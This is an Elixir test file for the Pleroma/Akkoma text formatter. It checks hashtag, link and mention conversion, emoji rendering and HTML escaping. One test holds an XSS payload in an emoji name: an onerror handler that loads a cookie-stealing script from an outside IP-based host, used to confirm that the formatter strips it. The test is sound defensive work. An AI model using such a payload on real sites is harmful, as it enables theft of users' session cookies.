Merge remote-tracking branch 'remotes/upstream/develop' into 1260-rate-limited-auth...
[akkoma] / test / formatter_test.exs
1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
4
5 defmodule Pleroma.FormatterTest do
6 alias Pleroma.Formatter
7 alias Pleroma.User
8 use Pleroma.DataCase
9
10 import Pleroma.Factory
11
12 setup_all do
13 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
14 :ok
15 end
16
17 describe ".add_hashtag_links" do
18 test "turns hashtags into links" do
19 text = "I love #cofe and #2hu"
20
21 expected_text =
22 "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
23
24 assert {^expected_text, [], _tags} = Formatter.linkify(text)
25 end
26
27 test "does not turn html characters to tags" do
28 text = "#fact_3: pleroma does what mastodon't"
29
30 expected_text =
31 "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
32
33 assert {^expected_text, [], _tags} = Formatter.linkify(text)
34 end
35 end
36
37 describe ".add_links" do
38 test "turning urls into links" do
39 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
40
41 expected =
42 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
43
44 assert {^expected, [], []} = Formatter.linkify(text)
45
46 text = "https://mastodon.social/@lambadalambda"
47
48 expected =
49 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
50
51 assert {^expected, [], []} = Formatter.linkify(text)
52
53 text = "https://mastodon.social:4000/@lambadalambda"
54
55 expected =
56 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
57
58 assert {^expected, [], []} = Formatter.linkify(text)
59
60 text = "@lambadalambda"
61 expected = "@lambadalambda"
62
63 assert {^expected, [], []} = Formatter.linkify(text)
64
65 text = "http://www.cs.vu.nl/~ast/intel/"
66 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
67
68 assert {^expected, [], []} = Formatter.linkify(text)
69
70 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
71
72 expected =
73 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
74
75 assert {^expected, [], []} = Formatter.linkify(text)
76
77 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
78
79 expected =
80 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
81
82 assert {^expected, [], []} = Formatter.linkify(text)
83
84 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
85
86 expected =
87 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
88
89 assert {^expected, [], []} = Formatter.linkify(text)
90
91 text = "https://en.wikipedia.org/wiki/Duff's_device"
92
93 expected =
94 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
95
96 assert {^expected, [], []} = Formatter.linkify(text)
97
98 text = "https://pleroma.com https://pleroma.com/sucks"
99
100 expected =
101 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
102
103 assert {^expected, [], []} = Formatter.linkify(text)
104
105 text = "xmpp:contact@hacktivis.me"
106
107 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
108
109 assert {^expected, [], []} = Formatter.linkify(text)
110
111 text =
112 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
113
114 expected = "<a href=\"#{text}\">#{text}</a>"
115
116 assert {^expected, [], []} = Formatter.linkify(text)
117 end
118 end
119
120 describe "add_user_links" do
121 test "gives a replacement for user links, using local nicknames in user links text" do
122 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
123 gsimg = insert(:user, %{nickname: "gsimg"})
124
125 archaeme =
126 insert(:user, %{
127 nickname: "archa_eme_",
128 info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
129 })
130
131 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
132
133 {text, mentions, []} = Formatter.linkify(text)
134
135 assert length(mentions) == 3
136
137 expected_text =
138 "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
139 gsimg.ap_id
140 }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
141 archaeme.id
142 }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
143 archaeme_remote.id
144 }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
145
146 assert expected_text == text
147 end
148
149 test "gives a replacement for user links when the user is using Osada" do
150 {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")
151
152 text = "@mike@osada.macgirvin.com test"
153
154 {text, mentions, []} = Formatter.linkify(text)
155
156 assert length(mentions) == 1
157
158 expected_text =
159 "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
160
161 assert expected_text == text
162 end
163
164 test "gives a replacement for single-character local nicknames" do
165 text = "@o hi"
166 o = insert(:user, %{nickname: "o"})
167
168 {text, mentions, []} = Formatter.linkify(text)
169
170 assert length(mentions) == 1
171
172 expected_text =
173 "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
174
175 assert expected_text == text
176 end
177
178 test "does not give a replacement for single-character local nicknames who don't exist" do
179 text = "@a hi"
180
181 expected_text = "@a hi"
182 assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
183 end
184
185 test "given the 'safe_mention' option, it will only mention people in the beginning" do
186 user = insert(:user)
187 other_user = insert(:user)
188 third_user = insert(:user)
189 text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
190 {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
191
192 assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
193
194 assert expected_text ==
195 "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
196 user.ap_id
197 }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
198 other_user.id
199 }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
200 third_user.id
201 }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
202 end
203
204 test "given the 'safe_mention' option, it will still work without any mention" do
205 text = "A post without any mention"
206 {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
207
208 assert mentions == []
209 assert expected_text == text
210 end
211
212 test "given the 'safe_mention' option, it will keep text after newlines" do
213 user = insert(:user)
214 text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"
215
216 {expected_text, _, _} = Formatter.linkify(text, safe_mention: true)
217
218 assert expected_text =~ "how are you doing?"
219 end
220 end
221
222 describe ".parse_tags" do
223 test "parses tags in the text" do
224 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
225
226 expected_tags = [
227 {"#Test", "test"},
228 {"#working", "working"},
229 {"#は", "は"},
230 {"#漢字", "漢字"}
231 ]
232
233 assert {_text, [], ^expected_tags} = Formatter.linkify(text)
234 end
235 end
236
237 test "it can parse mentions and return the relevant users" do
238 text =
239 "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
240
241 o = insert(:user, %{nickname: "o"})
242 jimm = insert(:user, %{nickname: "jimm"})
243 gsimg = insert(:user, %{nickname: "gsimg"})
244 archaeme = insert(:user, %{nickname: "archaeme"})
245 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
246
247 expected_mentions = [
248 {"@archaeme", archaeme},
249 {"@archaeme@archae.me", archaeme_remote},
250 {"@gsimg", gsimg},
251 {"@jimm", jimm},
252 {"@o", o}
253 ]
254
255 assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
256 end
257
258 test "it adds cool emoji" do
259 text = "I love :firefox:"
260
261 expected_result =
262 "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
263
264 assert Formatter.emojify(text) == expected_result
265 end
266
267 test "it does not add XSS emoji" do
268 text =
269 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
270
271 custom_emoji = %{
272 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
273 "https://placehold.it/1x1"
274 }
275
276 expected_result =
277 "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
278
279 assert Formatter.emojify(text, custom_emoji) == expected_result
280 end
281
282 test "it returns the emoji used in the text" do
283 text = "I love :firefox:"
284
285 assert Formatter.get_emoji(text) == [
286 {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
287 ]
288 end
289
290 test "it returns a nice empty result when no emojis are present" do
291 text = "I love moominamma"
292 assert Formatter.get_emoji(text) == []
293 end
294
295 test "it doesn't die when text is absent" do
296 text = nil
297 assert Formatter.get_emoji(text) == []
298 end
299
300 test "it escapes HTML in plain text" do
301 text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
302 expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
303
304 assert Formatter.html_escape(text, "text/plain") == expected
305 end
306 end